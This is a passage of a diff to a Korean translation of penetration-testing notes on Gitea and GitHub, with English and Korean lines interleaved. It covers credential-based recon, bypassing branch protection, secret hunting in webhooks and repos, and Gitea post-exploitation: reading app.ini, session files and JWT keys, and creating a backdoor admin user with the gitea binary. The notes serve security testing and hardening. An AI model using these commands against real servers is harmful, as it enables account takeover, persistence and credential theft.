**SSH 키**는 **배포 키**로 저장소에 설정될 수도 있습니다. 이 키에 접근할 수 있는 사람은 **저장소에서 프로젝트를 시작할 수 있습니다**. 일반적으로 서로 다른 배포 키가 있는 서버에서는 로컬 파일 **`~/.ssh/config`**가 관련된 키에 대한 정보를 제공합니다.
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
#### GPG 키
#### GPG Keys
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
Check locally if the current user has any key with:
[**여기**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md)에서 설명한 바와 같이, 때때로 커밋에 서명해야 하거나 발견될 수 있습니다.
현재 사용자가 어떤 키를 가지고 있는지 로컬에서 확인하세요:
```shell
gpg --list-secret-keys --keyid-format=long
```
### 사용자 토큰 사용
### With User Token
[**사용자 토큰에 대한 기본 정보**](basic-gitea-information.md#personal-access-tokens)를 확인하여 소개를 참조하세요.
For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens).
사용자 토큰은 Gitea 서버에 **인증**하기 위해 **비밀번호 대신** 사용할 수 있으며 [**API를 통해**](https://try.gitea.io/api/swagger#/). 사용자에 대한 **완전한 접근** 권한을 가집니다.
A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user.
### Oauth 애플리케이션 사용
### With Oauth Application
[**Gitea Oauth 애플리케이션에 대한 기본 정보**](./#with-oauth-application)를 확인하여 소개를 참조하세요.
For an introduction about [**Gitea Oauth Applications check the basic information**](#with-oauth-application).
공격자는 **악성 Oauth 애플리케이션**을 생성하여 사용자가 이를 수락하도록 유도하여 특권 데이터/작업에 접근할 수 있습니다. 이는 피싱 캠페인의 일환일 수 있습니다.
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
기본 정보에서 설명한 바와 같이, 애플리케이션은 **사용자 계정에 대한 전체 접근 권한**을 가집니다.
As explained in the basic information, the application will have **full access over the user account**.
### 브랜치 보호 우회
### Branch Protection Bypass
Github에서는 기본적으로 **쓰기 접근 권한이 있는 토큰**을 얻는 **github actions**가 있습니다. 이를 통해 **브랜치 보호를 우회**할 수 있습니다. 이 경우 **존재하지 않으므로** 우회 방법이 더 제한적입니다. 하지만 어떤 작업을 할 수 있는지 살펴보겠습니다:
In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done:
- **푸시 활성화**: 쓰기 접근 권한이 있는 사람이 브랜치에 푸시할 수 있다면, 그냥 푸시하세요.
- **제한된 푸시 화이트리스트**: 이 목록의 일원이라면 브랜치에 푸시하세요.
- **병합 화이트리스트 활성화**: 병합 화이트리스트가 있다면, 그 안에 있어야 합니다.
- **승인 요구가 0보다 큼**: 그러면... 다른 사용자를 타협해야 합니다.
- **화이트리스트에 제한된 승인**: 화이트리스트에 있는 사용자만 승인할 수 있다면... 그 목록에 있는 다른 사용자를 타협해야 합니다.
- **오래된 승인 무효화**: 새로운 커밋으로 승인이 제거되지 않는다면, 이미 승인된 PR을 탈취하여 코드를 주입하고 PR을 병합할 수 있습니다.
- **Enable Push**: If anyone with write access can push to the branch, just push to it.
- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch.
- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it
- **Require approvals is bigger than 0**: Then... you need to compromise another user
- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list
- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR.
**조직/레포 관리자**라면 보호를 우회할 수 있습니다.
Note that **if you are an org/repo admin** you can bypass the protections.
### 웹훅 열거
### Enumerate Webhooks
**웹훅**은 **특정 gitea 정보를 일부 장소로 전송**할 수 있습니다. 이 **통신을 악용**할 수 있습니다.\
그러나 일반적으로 **비밀**이 **웹훅**에 설정되어 있어 **URL을 아는 외부 사용자**가 비밀을 모르면 **웹훅을 악용**할 수 없습니다.\
하지만 어떤 경우에는 사람들이 **비밀**을 제자리에 설정하는 대신 **URL**에 매개변수로 설정하기 때문에, **URL을 확인**하면 **비밀**과 추가로 악용할 수 있는 다른 장소를 **찾을 수** 있습니다.
**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\
However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\
But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further.
웹훅은 **레포 및 조직 수준**에서 설정할 수 있습니다.
Webhooks can be set at **repo and at org level**.
## 포스트 익스플로잇
## Post Exploitation
### 서버 내부
### Inside the server
어떻게든 gitea가 실행되고 있는 서버에 들어갔다면 gitea 구성 파일을 찾아야 합니다. 기본적으로 `/data/gitea/conf/app.ini`에 위치합니다.
If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini`
이 파일에서 **키**와 **비밀번호**를 찾을 수 있습니다.
In this file you can find **keys** and **passwords**.
gitea 경로(기본값: /data/gitea)에서도 다음과 같은 흥미로운 정보를 찾을 수 있습니다:
In the gitea path (by default: /data/gitea) you can find also interesting information like:
- **sqlite** DB: gitea가 외부 DB를 사용하지 않는 경우 sqlite DB를 사용합니다.
- **세션**: 세션 폴더 내에서 `cat sessions/*/*/*`를 실행하면 로그인한 사용자의 사용자 이름을 볼 수 있습니다(또한 gitea는 DB 내에 세션을 저장할 수 있습니다).
- **jwt 개인 키**: jwt 폴더 내에 있습니다.
- 이 폴더에서 더 많은 **민감한 정보**를 찾을 수 있습니다.
- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db
- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB).
- The **jwt private key** inside the jwt folder
- More **sensitive information** could be found in this folder
서버 내부에 있다면 **`gitea` 바이너리**를 사용하여 정보를 접근/수정할 수 있습니다:
If you are inside the server you can also **use the `gitea` binary** to access/modify information:
- `gitea dump` will dump gitea and generate a .zip file
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence)
- `gitea admin user change-password --username admin --password newpassword` Change the password
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token
- `gitea dump`는 gitea를 덤프하고 .zip 파일을 생성합니다.
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET`는 지정된 유형의 토큰을 생성합니다(지속성).
- `gitea admin user change-password --username admin --password newpassword` 비밀번호를 변경합니다.
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` 새 관리자 사용자를 생성하고 접근 토큰을 받습니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,103 +4,100 @@
## Basic Structure
The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization.
기본 Gitea 환경 구조는 **조직**별로 리포를 그룹화하는 것입니다. 각 조직은 **여러 리포지토리**와 **여러 팀**을 포함할 수 있습니다. 그러나 GitHub와 마찬가지로 사용자는 조직 외부에 리포를 가질 수 있습니다.
Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**.
또한, **사용자**는 **다양한 조직의 구성원**이 될 수 있습니다. 조직 내에서 사용자는 **각 리포지토리에 대한 서로 다른 권한**을 가질 수 있습니다.
A user may also be **part of different teams** with different permissions over different repos.
사용자는 또한 **서로 다른 리포에 대한 서로 다른 권한**을 가진 **다양한 팀의 일원**이 될 수 있습니다.
And finally **repositories may have special protection mechanisms**.
마지막으로 **리포지토리는 특별한 보호 메커니즘을 가질 수 있습니다.**
## Permissions
### Organizations
When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**.
**조직이 생성될 때** **Owners**라는 팀이 **생성**되고 사용자가 그 안에 배치됩니다. 이 팀은 **조직에 대한 관리자 접근**을 제공합니다. 이 **권한**과 팀의 **이름**은 **수정할 수 없습니다.**
**Org admins** (owners) can select the **visibility** of the organization:
**Org admins** (소유자)는 조직의 **가시성**을 선택할 수 있습니다:
- Public
- Limited (logged in users only)
- Private (members only)
- 공개
- 제한 (로그인한 사용자만)
- 비공개 (구성원만)
**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos.
**Org admins**는 또한 **리포 관리자**가 팀에 대한 **접근을 추가하거나 제거**할 수 있는지 여부를 지정할 수 있습니다. 그들은 또한 최대 리포 수를 지정할 수 있습니다.
When creating a new team, several important settings are selected:
새 팀을 생성할 때 여러 중요한 설정이 선택됩니다:
- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all.
- It's also indicated **if members can create new repos** (creator will get admin access to it)
- The **permissions** the **members** of the repo will **have**:
- **Administrator** access
- **Specific** access:
- 팀 구성원이 접근할 수 있는 **조직의 리포**가 지정됩니다: 특정 리포(팀이 추가된 리포) 또는 모두.
- **구성원이 새 리포를 생성할 수 있는지**도 지정됩니다 (생성자는 관리자 접근을 받습니다).
- 리포의 **구성원**이 **가질 권한**:
- **관리자** 접근
- **특정** 접근:
![](<../../images/image (118).png>)
### Teams & Users
In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**:
리포에서 **org admin**과 **리포 관리자**(조직에서 허용하는 경우)는 협력자(다른 사용자)와 팀에게 부여된 **역할**을 **관리**할 수 있습니다. 가능한 **역할**은 **3**가지입니다:
- Administrator
- Write
- Read
- 관리자
- 쓰기
- 읽기
## Gitea Authentication
### Web Access
Using **username + password** and potentially (and recommended) a 2FA.
**사용자 이름 + 비밀번호**를 사용하고, 가능하면(권장) 2FA를 사용합니다.
### **SSH Keys**
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
하나 이상의 공개 키로 계정을 구성할 수 있으며, 관련된 **개인 키가 귀하를 대신하여 작업을 수행할 수 있도록 허용합니다.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
#### **GPG Keys**
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**.
이 키로 사용자를 가장할 수는 없지만, 사용하지 않으면 **서명 없는 커밋을 보내는 것으로 인해 발견될 수 있습니다.**
### **Personal Access Tokens**
You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
응용 프로그램이 귀하의 계정에 접근할 수 있도록 **개인 접근 토큰**을 생성할 수 있습니다. 개인 접근 토큰은 귀하의 계정에 대한 전체 접근을 제공합니다: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
### Oauth Applications
Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet:
개인 접근 토큰과 마찬가지로 **Oauth 애플리케이션**은 귀하의 계정과 귀하의 계정이 접근할 수 있는 장소에 **완전한 접근**을 가집니다. [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes)에서 언급했듯이, 범위는 아직 지원되지 않습니다:
![](<../../images/image (194).png>)
### Deploy keys
Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos.
배포 키는 리포에 대한 읽기 전용 또는 쓰기 접근을 가질 수 있으므로 특정 리포를 손상시키는 데 흥미로울 수 있습니다.
## Branch Protections
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
브랜치 보호는 **사용자에게 리포지토리에 대한 완전한 제어를 주지 않도록 설계되었습니다.** 목표는 **코드를 특정 브랜치에 작성하기 전에 여러 보호 방법을 설정하는 것입니다.**
The **branch protections of a repository** can be found in _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
리포지토리의 **브랜치 보호**는 _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_에서 찾을 수 있습니다.
> [!NOTE]
> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
> **조직 수준에서 브랜치 보호를 설정하는 것은 불가능합니다.** 따라서 모든 보호는 각 리포에서 선언해야 합니다.
Different protections can be applied to a branch (like to master):
브랜치에 적용할 수 있는 다양한 보호가 있습니다(예: 마스터):
- **Disable Push**: No-one can push to this branch
- **Enable Push**: Anyone with access can push, but not force push.
- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push)
- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs.
- **Enable Status checks:** Require status checks to pass before merging.
- **Require approvals**: Indicate the number of approvals required before a PR can be merged.
- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs.
- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass)
- **Block merge on official review requests**: If there official review requests it cannot be merged
- **Dismiss stale approvals**: When new commits, old approvals will be dismissed.
- **Require Signed Commits**: Commits must be signed.
- **Block merge if pull request is outdated**
- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes
- **푸시 비활성화**: 아무도 이 브랜치에 푸시할 수 없습니다.
- **푸시 활성화**: 접근 권한이 있는 누구나 푸시할 수 있지만 강제 푸시는 불가능합니다.
- **화이트리스트 제한 푸시**: 선택된 사용자/팀만 이 브랜치에 푸시할 수 있습니다(강제 푸시 불가).
- **병합 화이트리스트 활성화**: 화이트리스트에 있는 사용자/팀만 PR을 병합할 수 있습니다.
- **상태 검사 활성화:** 병합 전에 상태 검사가 통과해야 합니다.
- **승인 요구**: PR을 병합하기 전에 필요한 승인 수를 나타냅니다.
- **화이트리스트에 제한된 승인**: PR을 승인할 수 있는 사용자/팀을 나타냅니다.
- **거부된 리뷰에서 병합 차단**: 변경 요청이 있는 경우 병합할 수 없습니다(다른 검사가 통과하더라도).
- **공식 리뷰 요청에서 병합 차단**: 공식 리뷰 요청이 있는 경우 병합할 수 없습니다.
- **오래된 승인 무효화**: 새로운 커밋이 있을 때 오래된 승인은 무효화됩니다.
- **서명된 커밋 요구**: 커밋은 서명되어야 합니다.
- **풀 리퀘스트가 오래된 경우 병합 차단**
- **보호된/비보호 파일 패턴**: 변경으로부터 보호/비보호할 파일 패턴을 나타냅니다.
> [!NOTE]
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
> 보시다시피, 사용자의 자격 증명을 얻었다고 하더라도, **리포가 보호되어 있어 마스터에 코드를 푸시하는 것을 방지할 수 있습니다.** 예를 들어 CI/CD 파이프라인을 손상시키기 위해서입니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## What is Github
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**.
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub는 개발자가 코드를 저장하고 관리하며 코드 변경 사항을 추적하고 제어하는 데 도움을 주는 웹사이트이자 클라우드 기반 서비스입니다**.
### Basic Information
@@ -14,19 +14,19 @@ basic-github-information.md
## External Recon
Github repositories can be configured as public, private and internal.
Github 리포지토리는 공개, 비공개 및 내부로 구성할 수 있습니다.
- **Private** means that **only** people of the **organisation** will be able to access them
- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it
- **Public** means that **all internet** is going to be able to access it.
- **비공개**는 **조직**의 사람들만 접근할 수 있음을 의미합니다.
- **내부**는 **기업**의 사람들만 접근할 수 있음을 의미합니다 (기업은 여러 조직을 가질 수 있습니다).
- **공개**는 **모든 인터넷** 사용자가 접근할 수 있음을 의미합니다.
In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**.
**대상으로 삼고자 하는 사용자, 리포지토리 또는 조직을 알고 있다면** **github dorks**를 사용하여 민감한 정보를 찾거나 **각 리포지토리에서 민감한 정보 유출**을 검색할 수 있습니다.
### Github Dorks
Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**.
Github**사용자, 리포지토리 또는 조직을 범위로 지정하여 무언가를 검색할 수 있게 합니다**. 따라서 민감한 정보 근처에 나타날 문자열 목록을 사용하여 **대상에서 잠재적인 민감한 정보를 쉽게 검색할 수 있습니다**.
Tools (each tool contains its list of dorks):
도구 (각 도구는 자신의 dorks 목록을 포함합니다):
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
@@ -34,22 +34,22 @@ Tools (each tool contains its list of dorks):
### Github Leaks
Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits).
github dorks는 github 검색 옵션을 사용하여 유출을 검색하는 데에도 사용됩니다. 이 섹션은 **각 리포지토리를 다운로드하고 그 안에서 민감한 정보를 검색하는 도구**에 전념하고 있습니다 (특정 커밋 깊이를 확인하기도 함).
Tools (each tool contains its list of regexes):
도구 (각 도구는 자신의 regex 목록을 포함합니다):
Check this page: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
이 페이지를 확인하세요: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
> [!WARNING]
> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets!
> 리포지토리에서 유출을 찾고 `git log -p`와 같은 명령을 실행할 때 **비밀이 포함된 다른 커밋이 있는 다른 브랜치**가 있을 수 있음을 잊지 마세요!
### External Forks
It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](#execution-from-a-external-fork).
**풀 리퀘스트를 악용하여 리포지토리를 손상시킬 수 있습니다**. 리포지토리가 취약한지 확인하려면 주로 Github Actions yaml 구성을 읽어야 합니다. [**아래에서 더 많은 정보**](#execution-from-a-external-fork).
### Github Leaks in deleted/internal forks
Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here:
삭제되었거나 내부에 있더라도 github 리포지토리의 포크에서 민감한 데이터를 얻는 것이 가능할 수 있습니다. 여기에서 확인하세요:
{{#ref}}
accessible-deleted-data-in-github.md
@@ -59,192 +59,179 @@ accessible-deleted-data-in-github.md
### Member Privileges
There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations/<org_name>/settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
조직의 **구성원**에게 할당할 수 있는 **기본 권한**이 있습니다. 이는 `https://github.com/organizations/<org_name>/settings/member_privileges` 페이지 또는 [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs)에서 제어할 수 있습니다.
- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**.
- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories.
- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages.
- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it.
- _I couldn't find this info in the APIs response, share if you do_
- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**.
- _I couldn't find this info in the APIs response, share if you do_
- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.**
- _I couldn't find this info in the APIs response, share if you do_
- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled.
- _I couldn't find this info in the APIs response, share if you do_
- **More things can be configured** in this page but the previous are the ones more security related.
- **기본 권한**: 구성원은 조직 리포지토리에 대해 None/Read/write/Admin 권한을 가집니다. 권장되는 것은 **None** 또는 **Read**입니다.
- **리포지토리 포크**: 필요하지 않다면 구성원이 조직 리포지토리를 포크하는 것을 **허용하지 않는 것이 좋습니다**.
- **페이지 생성**: 필요하지 않다면 구성원이 조직 리포지토리에서 페이지를 게시하는 것을 **허용하지 않는 것이 좋습니다**. 필요하다면 공개 또는 비공개 페이지 생성을 허용할 수 있습니다.
- **통합 접근 요청**: 이 기능이 활성화되면 외부 협력자가 이 조직 및 그 자원에 접근하기 위해 GitHub 또는 OAuth 앱에 대한 접근을 요청할 수 있습니다. 일반적으로 필요하지만, 필요하지 않다면 비활성화하는 것이 좋습니다.
- _이 정보는 API 응답에서 찾을 수 없었습니다. 아는 분은 공유해 주세요._
- **리포지토리 가시성 변경**: 활성화되면 **리포지토리**에 대한 **admin** 권한을 가진 **구성원**이 **가시성을 변경할 수 있습니다**. 비활성화되면 조직 소유자만 리포지토리 가시성을 변경할 수 있습니다. 사람들이 **공개**로 만들지 않기를 원한다면 이 기능이 **비활성화**되어 있는지 확인하세요.
- _이 정보는 API 응답에서 찾을 수 없었습니다. 아는 분은 공유해 주세요._
- **리포지토리 삭제 및 전송**: 활성화되면 리포지토리에 대한 **admin** 권한을 가진 구성원이 공개 및 비공식 **리포지토리**를 **삭제**하거나 **전송**할 수 있습니다.
- _이 정보는 API 응답에서 찾을 수 없었습니다. 아는 분은 공유해 주세요._
- **구성원이 팀을 생성할 수 있도록 허용**: 활성화되면 조직의 **구성원**이 새로운 **팀**을 **생성**할 수 있습니다. 비활성화되면 조직 소유자만 새로운 팀을 생성할 수 있습니다. 이 기능은 비활성화하는 것이 좋습니다.
- _이 정보는 API 응답에서 찾을 수 없었습니다. 아는 분은 공유해 주세요._
- **더 많은 설정을 구성할 수 있지만** 이전 항목들이 보안과 관련된 것들입니다.
### Actions Settings
Several security related settings can be configured for actions from the page `https://github.com/organizations/<org_name>/settings/actions`.
여러 보안 관련 설정을 `https://github.com/organizations/<org_name>/settings/actions` 페이지에서 구성할 수 있습니다.
> [!NOTE]
> Note that all this configurations can also be set on each repository independently
> 모든 설정은 각 리포지토리에서 독립적으로 설정할 수 있습니다.
- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run.
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators.
- _I couldn't find an API with this info, share if you do_
- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository.
- _I couldn't find an API with this info, share if you do_
- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows.
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
- **Github actions 정책**: 어떤 리포지토리가 워크플로를 실행할 수 있는지, 어떤 워크플로가 허용되어야 하는지를 지정할 수 있습니다. **허용해야 할 리포지토리**를 지정하고 모든 작업이 실행되지 않도록 하는 것이 좋습니다.
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
- **외부 협력자의 포크 풀 리퀘스트 워크플로**: 모든 외부 협력자에게 승인을 **요구하는 것이 좋습니다**.
- _이 정보에 대한 API를 찾을 수 없었습니다. 아는 분은 공유해 주세요._
- **포크 풀 리퀘스트에서 워크플로 실행**: **풀 리퀘스트에서 워크플로를 실행하는 것은 강력히 권장되지 않습니다**. 포크 출처의 유지 관리자가 소스 리포지토리에 대한 읽기 권한이 있는 토큰을 사용할 수 있게 됩니다.
- _이 정보에 대한 API를 찾을 수 없었습니다. 아는 분은 공유해 주세요._
- **워크플로 권한**: **읽기 리포지토리 권한만 부여하는 것이 강력히 권장됩니다**. GITHUB_TOKEN이 실행 중인 워크플로에 부여되는 것을 방지하기 위해 쓰기 및 풀 리퀘스트 생성/승인 권한을 부여하는 것은 권장되지 않습니다.
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
### Integrations
_Let me know if you know the API endpoint to access this info!_
_이 정보에 접근할 수 있는 API 엔드포인트를 아는 분은 알려주세요!_
- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them).
- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them).
- **타사 애플리케이션 접근 정책**: 모든 애플리케이션에 대한 접근을 제한하고 필요한 애플리케이션만 허용하는 것이 좋습니다 (검토 후).
- **설치된 GitHub Apps**: 필요한 애플리케이션만 허용하는 것이 좋습니다 (검토 후).
## Recon & Attacks abusing credentials
For this scenario we are going to suppose that you have obtained some access to a github account.
이 시나리오에서는 github 계정에 대한 접근을 얻었다고 가정합니다.
### With User Credentials
If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.**
조직 내 사용자에 대한 자격 증명이 있는 경우 **로그인**하여 **기업 및 조직 역할**을 확인할 수 있습니다. 일반 구성원인 경우 **일반 구성원이 가진 권한**, **그룹**, **어떤 리포지토리에 대한 권한** 및 **리포지토리 보호 방법**을 확인하세요.
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
**2FA가 사용될 수 있으므로** 이 정보를 얻으려면 **그 검사를 통과해야 합니다**.
> [!NOTE]
> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
> `user_session` 쿠키를 **훔치는 데 성공하면** (현재 SameSite: Lax로 구성됨) 자격 증명이나 2FA 없이 **사용자를 완전히 가장할 수 있습니다**.
Check the section below about [**branch protections bypasses**](#branch-protection-bypass) in case it's useful.
유용할 경우 [**브랜치 보호 우회**](#branch-protection-bypass) 섹션을 확인하세요.
### With User SSH Key
Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to:
Github는 **사용자**가 **SSH 키**를 설정하여 자신의 이름으로 코드를 배포하는 **인증 방법**으로 사용할 수 있도록 허용합니다 (2FA가 적용되지 않음).
이 키를 사용하여 **사용자가 일부 권한을 가진 리포지토리에서 변경을 수행할 수 있지만**, github api에 접근하여 환경을 열거하는 데 사용할 수는 없습니다. 그러나 **로컬 설정을 열거하여** 접근할 수 있는 리포지토리 및 사용자에 대한 정보를 얻을 수 있습니다:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
사용자가 자신의 GitHub 사용자 이름으로 사용자 이름을 구성한 경우, _https://github.com/\<github_username>.keys_에서 **그가 설정한 공개 키**에 접근할 수 있으며, 이를 확인하여 발견한 개인 키를 사용할 수 있는지 확인할 수 있습니다.
If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\<github_username>.keys_, you could check this to confirm the private key you found can be used.
**SSH 키**는 **배포 키**로 저장소에 설정될 수도 있습니다. 이 키에 접근할 수 있는 사람은 **저장소에서 프로젝트를 시작할 수 있습니다**. 일반적으로 서로 다른 배포 키가 있는 서버에서는 로컬 파일 **`~/.ssh/config`**가 관련된 키에 대한 정보를 제공합니다.
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
#### GPG 키
#### GPG Keys
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
Check locally if the current user has any key with:
[**여기**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md)에서 설명한 바와 같이, 때때로 커밋에 서명해야 하거나 발견될 수 있습니다.
현재 사용자가 어떤 키를 가지고 있는지 로컬에서 확인하세요:
```shell
gpg --list-secret-keys --keyid-format=long
```
### 사용자 토큰으로
### With User Token
[**사용자 토큰에 대한 기본 정보**](basic-github-information.md#personal-access-tokens)를 확인하여 소개를 참조하세요.
For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens).
